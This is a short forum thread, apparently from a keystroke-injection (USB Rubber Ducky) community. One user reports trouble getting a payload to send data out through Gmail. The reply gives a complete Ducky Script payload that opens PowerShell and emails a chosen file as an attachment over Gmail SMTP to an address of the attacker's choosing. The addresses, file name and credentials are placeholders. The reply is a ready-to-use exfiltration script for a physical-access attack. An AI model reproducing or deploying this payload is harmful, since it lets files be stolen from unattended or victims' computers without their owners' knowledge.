CztHrm Posted May 1, 2017 Posted May 1, 2017 I've tried every way I can think of. If all else fails I'll try to make it log in to like, dropbox and upload or something. I've dug through most the posts on this site and it's unable to send. Should I try to use a different one than Gmail? Is that the problem? Quote
untitled Posted May 6, 2017 Posted May 6, 2017 Here's what I do, just a few Powershell commands: STRING powershell ENTER DELAY 500 STRING $EmailTo = "EMAILTO@gmail.com" ENTER DELAY 50 STRING $EmailFrom = "EMAILFROM@gmail.com" ENTER DELAY 50 STRING $Subject = "EMAILSUBJECT" ENTER DELAY 50 STRING $Body = "EMAILBODY" ENTER DELAY 50 STRING $SMTPServer = "smtp.gmail.com" ENTER DELAY 50 STRING $filenameAndPath = "ATTATCHMENT.txt" ENTER DELAY 50 STRING $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom,$EmailTo,$Subject,$Body) ENTER DELAY 50 STRING $attachment = New-Object System.Net.Mail.Attachment($filenameAndPath) ENTER DELAY 50 STRING $SMTPMessage.Attachments.Add($attachment) ENTER DELAY 50 STRING $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) ENTER DELAY 50 STRING $SMTPClient.EnableSsl = $true ENTER DELAY 50 STRING $SMTPClient.Credentials = New-Object System.Net.NetworkCredential("YOUREMAIL@gmail.com", "YOUR EMAIL PASSWORD OR 14 DIGIT AUTH CODE"); ENTER DELAY 50 STRING $SMTPClient.Send($SMTPMessage) ENTER DELAY 2000 STRING exit ENTER Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.